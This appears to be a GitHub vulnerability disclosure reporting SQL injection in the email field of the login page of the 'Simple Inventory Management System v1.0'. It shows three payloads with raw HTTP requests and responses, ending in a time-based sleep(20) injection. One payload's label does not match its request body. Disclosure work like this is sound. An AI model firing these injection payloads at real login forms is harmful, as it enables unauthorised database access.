

main

...

bug_report / vendors / oretnom23 / Simple Inventory Management System / SQLi-1.md

li-baige Update SQLi-1.md

History

1 contributor

84 lines (65 sloc) 2.74 KB

...

Simple Inventory Management System v1.0 by oretnom23 has SQL injection

BUG_Author: li-baige

vendors: <https://www.sourcecodester.com/php/15419/simple-inventory-management-system-phpoop-free-source-code.html>

Vulnerability File: /ims/login.php

Parameter "email" (POST), exists SQL injection vulnerability

Payload1: email=a'&pwd=b&login=

```
POST /ims/login.php HTTP/1.1
Host: localhost
Origin: http://localhost
Cookie: PHPSESSID=3gtl0ab587o4lbs2nm02st0ve
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: http://localhost/ims/login.php
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 21

email=a'&pwd=b&login=
```

In response to an error

Request

PrettyRawHex

1 POST /ims/login.php HTTP/1.1
2 Host: localhost
3 Origin: http://localhost
4 Cookie: PHPSESSID=3gtl0ab587o4lbs2nm02st0ve
5 Accept:
6 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 Upgrade-Insecure-Requests: 1
8 Referer: http://localhost/ims/login.php
9 Content-Type: application/x-www-form-urlencoded
10 Accept-Encoding: gzip, deflate
11 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
13 Connection: close
14 Cache-Control: max-age=0
15 Content-Length: 21
16 email=a'&pwd=b&login=

Response

PrettyRawHexRender

23 </script>
24 <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js" integrity="sha512-894Tf8W5159Hgy0qQnFm4dnMc1Qc5HtvYsAmcOP+u1T9qYdvdihz0P5LiQn+/3e7J04BaG7TubfWGUrWQ==" crossorigin="anonymous" refererPolicy="no-referrer">
25 </script>
26 <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+QMhuP+ILRHS99ENBOOLRn5q+8n bTov4+lp" crossorigin="anonymous">
27 </script>
28 <!-- jQuery -->
29 <script>
30 </script>
31 </script>
32 Fatal error
33 : Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '92eb5ffee6ae2fec3ad71c777531578f' at line 3 in D:\xampp\htdocs\ims\Inventory.php:27
34 Stack trace:
#0 D:\xampp\htdocs\ims\Inventory.php(27): mysqli_query(Object(mysqli), '\n\t\t\tSELECT user...')
#1 D:\xampp\htdocs\ims\Inventory.php(51): Inventory->getData('\n\t\t\tSELECT user...')
#2 D:\xampp\htdocs\ims\login.php(9): Inventory->login('a', '92eb5ffee6ae2fe...')
#3 (main)
thrown in D:\xampp\htdocs\ims\Inventory.php
on line 27

</script>

Payload2: email=a"&pwd=b&login=

```
POST /ims/login.php HTTP/1.1
Host: localhost
Origin: http://localhost
Cookie: PHPSESSID=3gtl0ab587o41bs2nm02st0ve
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: http://localhost/ims/login.php
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 22

email=a'&pwd=b&login=
```

In response to the right

Request

PrettyRawHex

1

POST /ims/login.php HTTP/1.1

2

Host: localhost

3

Origin: http://localhost

4

Cookie: PHPSESSID=3gtl0ab587o41bs2nm02st0ve

5

Accept:

6

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

7

Upgrade-Insecure-Requests: 1

8

Referer: http://localhost/ims/login.php

9

Content-Type: application/x-www-form-urlencoded

10

Accept-Encoding: gzip, deflate

11

Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

12

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

13

Connection: close

14

Cache-Control: max-age=0

15

Content-Length: 22

16

email=a'&pwd=b&login=

Response

PrettyRawHexRender

61

Login

62

</div>

63

<div class="card-body">

64

<div class="container-fluid">

65

<form method="post" action="">

66

<div class="form-group">

67

<div class="alert alert-danger rounded-0 py-1">

68

Invalid email or password!

69

</div>

70

</div>

71

<div class="mb-3">

72

<label for="email" class="control-label">

73

Email

74

</label>

75

<input name="email" id="email" type="email" class="form-control rounded-0" placeholder="Email" address="autofocus=" value="a'" required>

76

</div>

77

<div class="mb-3">

78

<label for="password" class="control-label">

79

Password

80

</label>

81

<input type="password" class="form-control rounded-0" id="password" name="pwd" placeholder="Password" required>

82

</div>

83

</div>

84

<div class="d-grid">

85

<button type="submit" name="login" class="btn btn-primary rounded-0">

86

Login

87

</button>

88

</div>

89

</form>

90

</div>

91

</div>

92

</div>

93

</div>

Payload3: email=a'%2b(select*from(select(sleep(20)))a)%2b'&pwd=b&login=

```
POST /ims/login.php HTTP/1.1
Host: localhost
Origin: http://localhost
Cookie: PHPSESSID=3gtl0ab587o41bs2nm02st0ve
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: http://localhost/ims/login.php
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 61

email=a'%2b(select*from(select(sleep(20)))a)%2b'&pwd=b&login=
```

Response time is 20 seconds

